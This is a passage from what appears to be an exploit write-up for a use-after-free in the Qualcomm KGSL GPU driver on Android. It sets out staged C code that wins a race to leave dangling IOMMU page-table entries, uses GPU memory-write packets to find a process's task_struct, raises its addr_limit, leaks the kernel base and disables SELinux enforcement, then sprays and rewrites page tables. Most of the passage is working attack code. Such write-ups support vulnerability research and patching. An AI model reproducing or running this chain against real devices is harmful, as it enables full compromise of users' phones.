</code></pre></div></div>

<ol>
  <li>If an ENODEV error occurs, it succeeded, so perform <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPUOBJ_FREE</code> on uaf. (The first PTE is overwritten with 0, creating an IOMMU dangling PTE at this point, and those pages are returned to the kernel.)</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">overlap_vma</span> <span class="o">==</span> <span class="n">MAP_FAILED</span> <span class="o">&amp;&amp;</span> <span class="n">mmap_errno</span> <span class="o">==</span> <span class="mi">19</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// ENODEV</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">[!] RACE CONDITION WON!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">success</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
<span class="k">struct</span> <span class="n">kgsl_gpuobj_free</span> <span class="n">uaf_free</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">uaf_free</span><span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">uaf_id</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_FREE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">uaf_free</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"    UAF freed (id=%u)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">uaf_id</span><span class="p">);</span>
    <span class="n">uaf_id</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="stage-2-selinux-bypass"><strong>Stage 2: SELinux Bypass</strong></h3>

<ol>
  <li>Induce <code class="language-plaintext highlighter-rouge">task_struct</code> to be created on new pages by pressuring memory through <code class="language-plaintext highlighter-rouge">fork spray</code>.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">spray_count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">pid_t</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="kt">char</span> <span class="n">proc_name</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>  <span class="c1">// TASK_COMM_LEN</span>
                <span class="n">memset</span><span class="p">(</span><span class="n">proc_name</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">16</span><span class="p">);</span>
                <span class="n">pid_t</span> <span class="n">self</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
                <span class="n">snprintf</span><span class="p">(</span><span class="n">proc_name</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">proc_name</span><span class="p">),</span> <span class="s">"%s%05d"</span><span class="p">,</span> <span class="n">MARKER_NAME</span><span class="p">,</span> <span class="n">self</span><span class="p">);</span>
                <span class="n">prctl</span><span class="p">(</span><span class="n">PR_SET_NAME</span><span class="p">,</span> <span class="n">proc_name</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<ol>
  <li>Through the <code class="language-plaintext highlighter-rouge">scan_uaf_for_nonzero_multi</code> function, scan all IOMMU dangling PTEs obtained in Stage 1 by reading/writing using <code class="language-plaintext highlighter-rouge">CP_MEM_WRITE</code> and <code class="language-plaintext highlighter-rouge">CP_MEM_TO_MEM</code> to find the first task_struct.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">##################### DUMP ############################
</span><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">1024</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">d_lo</span><span class="p">,</span> <span class="n">d_hi</span><span class="p">,</span> <span class="n">s_lo</span><span class="p">,</span> <span class="n">s_hi</span><span class="p">;</span>
    <span class="n">split64</span><span class="p">(</span><span class="n">dst_gpu</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d_hi</span><span class="p">);</span>
    <span class="n">split64</span><span class="p">(</span><span class="n">current_va</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s_hi</span><span class="p">);</span>

    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_TO_MEM</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00000000</span><span class="p">;</span>
    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_lo</span><span class="p">;</span>
    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">d_hi</span><span class="p">;</span>
    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">s_lo</span><span class="p">;</span>
    <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">s_hi</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">gpu_cmd</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>

<span class="cp">#########################  Find KETO0422 pattern  ##################
</span><span class="n">pid_t</span> <span class="n">comm_pid</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">comm_off</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">off</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">off</span> <span class="o">&lt;</span> <span class="mi">4096</span> <span class="o">-</span> <span class="mi">8</span><span class="p">;</span> <span class="n">off</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">bytes</span> <span class="o">+</span> <span class="n">off</span><span class="p">,</span> <span class="s">"KETO0422"</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span>
                <span class="s">"        [+] Found KETO0422 at offset 0x%03x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">off</span><span class="p">);</span>
        <span class="p">...</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Overwrite the value of <code class="language-plaintext highlighter-rouge">addr_limit</code> at 0x40 offset in the <code class="language-plaintext highlighter-rouge">task_struct</code> found by scan from <code class="language-plaintext highlighter-rouge">USER_DS</code> to <code class="language-plaintext highlighter-rouge">KERNEL_DS</code> value.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">split64</span><span class="p">(</span><span class="n">target_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_hi</span><span class="p">);</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_lo</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_hi</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">kds_lo</span><span class="p">;</span>

<span class="n">split64</span><span class="p">(</span><span class="n">target_addr</span> <span class="o">+</span> <span class="mi">4</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_hi</span><span class="p">);</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_lo</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_hi</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">kds_hi</span><span class="p">;</span>

<span class="p">...</span>

<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">patch_cmd</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</code></pre></div></div>

<ol>
  <li>Save kbase to the shared buffer (<code class="language-plaintext highlighter-rouge">kbase leak</code>) through the kbase related value at <code class="language-plaintext highlighter-rouge">0x888</code> offset in the <code class="language-plaintext highlighter-rouge">task_struct</code> found by scan, and set the flag <code class="language-plaintext highlighter-rouge">.do_action</code> corresponding to the pid to 1.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="n">ptr_val</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">bytes</span> <span class="o">+</span> <span class="mh">0x888</span><span class="p">))</span> <span class="o">-</span><span class="mh">0x2BB8CF8</span><span class="p">;</span> <span class="c1">//kbase</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">gbuf</span><span class="p">[</span><span class="mh">0x20</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr_val</span><span class="p">;</span>
<span class="p">...</span>

<span class="k">if</span> <span class="p">(</span><span class="n">comm_pid</span> <span class="o">&gt;</span><span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">spray_ctrl</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">){</span>
  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">si</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">si</span><span class="o">&lt;</span><span class="n">spray_count</span><span class="p">;</span><span class="n">si</span><span class="o">++</span><span class="p">){</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">si</span><span class="p">].</span><span class="n">pid</span> <span class="o">==</span> <span class="n">comm_pid</span><span class="p">){</span>
          <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">" [*] Trigger spary slot %d (pid=%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">si</span><span class="p">,</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">si</span><span class="p">].</span><span class="n">pid</span><span class="p">);</span>
          <span class="n">spray_ctrl</span><span class="p">[</span><span class="n">si</span><span class="p">].</span><span class="n">do_action</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
          <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">gbuf</span><span class="p">[</span><span class="n">TARGET_PIDPID</span><span class="p">]</span> <span class="o">=</span> <span class="n">spray_ctrl</span><span class="p">[</span><span class="n">si</span><span class="p">].</span><span class="n">pid</span><span class="p">;</span>
          <span class="n">scc</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>

      <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li><code class="language-plaintext highlighter-rouge">kill</code> and <code class="language-plaintext highlighter-rouge">waitpid</code> all except that pid.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">spray_count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span><span class="p">(</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">do_action</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
            <span class="n">kill</span><span class="p">(</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">pid</span><span class="p">,</span><span class="n">SIGTERM</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">spray_count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span><span class="p">(</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">do_action</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
            <span class="n">waitpid</span><span class="p">(</span><span class="n">spray_ctrl</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">pid</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Since that pid has <code class="language-plaintext highlighter-rouge">addr_limit</code> set to <code class="language-plaintext highlighter-rouge">KERNEL_DS</code>, it can overwrite <code class="language-plaintext highlighter-rouge">selinux_enforcing</code> to 0, so overwrite it. (Since userland addresses cannot be used, overwrite it using <code class="language-plaintext highlighter-rouge">read(fd_zero,...)</code>.)</li>
</ol>

<h3 id="stage-3-pte-overwrite-page-table-manipulation"><strong>Stage 3: PTE Overwrite (Page Table Manipulation)</strong></h3>

<ol>
  <li>Induce the creation of many unusual page tables where only the 1st, 3rd, 5th, 7th, and 9th pages are allocated through <code class="language-plaintext highlighter-rouge">mmap_spray</code> in 0x200000 units.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">mmap_spray</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    
	<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">[13] mmap-spraying user VA space</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">mmap_spray_done</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">MMAP_SPRAY_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">MMAP_SPRAY_BASE</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">MMAP_SPRAY_STRIDE</span><span class="p">);</span>
		<span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">){</span>
            <span class="n">p</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="n">addr</span> <span class="o">+</span> <span class="n">PAGE_SIZE</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">sig_num</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="p">,</span> <span class="n">PAGE_SIZE</span><span class="p">,</span>
		         <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span>
		         <span class="n">MAP_PRIVATE</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span> <span class="o">|</span> <span class="n">MAP_FIXED</span><span class="p">,</span>
		         <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
            <span class="o">*</span><span class="p">(</span><span class="k">volatile</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span> <span class="o">=</span> <span class="n">sig_num</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>                 
		    <span class="k">if</span> <span class="p">((</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">p</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">addr</span> <span class="o">+</span> <span class="n">PAGE_SIZE</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">sig_num</span><span class="p">[</span><span class="n">j</span><span class="p">])</span> <span class="p">{</span> <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">"mmap_spray"</span><span class="p">);</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span>
            
        <span class="p">}</span>
		
		
		<span class="n">mmap_spray_done</span><span class="o">++</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Similar to Stage 2, scan for the pattern of unusual page tables where only the 1st, 3rd, 5th, 7th, and 9th entries are allocated using the IOMMU dangling PTE.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//data is dumped PTE (dword)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">non_zero</span> <span class="o">==</span> <span class="mi">10</span> <span class="o">&amp;&amp;</span>
			    <span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="n">data</span><span class="p">[</span><span class="mi">19</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span>
				<span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">f53_mask</span> <span class="o">=</span> <span class="mh">0xFFF</span><span class="p">;</span>
				<span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">f53_tag</span>  <span class="o">=</span> <span class="mh">0xF53</span><span class="p">;</span>
				<span class="k">if</span> <span class="p">(((</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">f53_mask</span><span class="p">)</span> <span class="o">==</span> <span class="n">f53_tag</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
				    <span class="p">((</span><span class="n">data</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">f53_mask</span><span class="p">)</span> <span class="o">==</span> <span class="n">f53_tag</span><span class="p">))</span> <span class="p">{</span>
</code></pre></div></div>

<ol>
  <li>In that page, back up the 1st PTE value and overwrite the 1st PTE with the 3rd PTE value. (Using GPU read/write)</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//data is dumped PTE (dword)</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
					<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_NOP</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

				<span class="kt">uint32_t</span> <span class="n">t_lo</span><span class="p">,</span> <span class="n">t_hi</span><span class="p">;</span>

				<span class="n">split64</span><span class="p">(</span><span class="n">current_va</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_hi</span><span class="p">);</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_lo</span><span class="p">;</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_hi</span><span class="p">;</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span>

				<span class="n">split64</span><span class="p">(</span><span class="n">current_va</span> <span class="o">+</span> <span class="mi">12</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_lo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">t_hi</span><span class="p">);</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_lo</span><span class="p">;</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">t_hi</span><span class="p">;</span>
				<span class="n">wcmd</span><span class="p">[</span><span class="n">wdw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>

					<span class="p">...</span>
					<span class="kt">uint64_t</span> <span class="o">*</span><span class="n">save_pte0</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">gbuf</span> <span class="o">+</span> <span class="n">PTE_SAVE_BASE</span> <span class="o">+</span> <span class="p">(</span><span class="o">*</span><span class="n">rb_count</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>
					<span class="o">*</span><span class="n">save_pte0</span> <span class="o">=</span> <span class="p">((</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">data</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
					<span class="p">(</span><span class="o">*</span><span class="n">rb_count</span><span class="p">)</span><span class="o">++</span><span class="p">;</span>
				<span class="err">}</span>
<span class="p">...</span>

				<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">patch_cmd</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
</code></pre></div></div>

<ol>
  <li>Through <code class="language-plaintext highlighter-rouge">mmap_check</code>, find the page table that was manipulated above, where reading the 1st page returns the value of the 3rd page.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">mmap_check</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="o">*</span> <span class="n">check_addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">gbuf</span><span class="p">[</span><span class="mh">0xa00</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">corrupt_cnt</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">gbuf</span> <span class="o">+</span> <span class="n">MMAP_CORRUPT_CNT</span><span class="p">);</span>
	<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">[14] mmap-checking user VA space</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="o">*</span><span class="n">corrupt_cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">MMAP_SPRAY_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">uint8_t</span> <span class="o">*</span><span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">MMAP_SPRAY_BASE</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="n">MMAP_SPRAY_STRIDE</span><span class="p">);</span>
        <span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">pp</span> <span class="o">=</span><span class="n">addr</span> <span class="o">+</span> <span class="n">PAGE_SIZE</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">sig_num</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="k">volatile</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pp</span> <span class="o">!=</span> <span class="n">sig_num</span><span class="p">[</span><span class="mi">0</span><span class="p">]){</span> <span class="c1">// PFN write success</span>
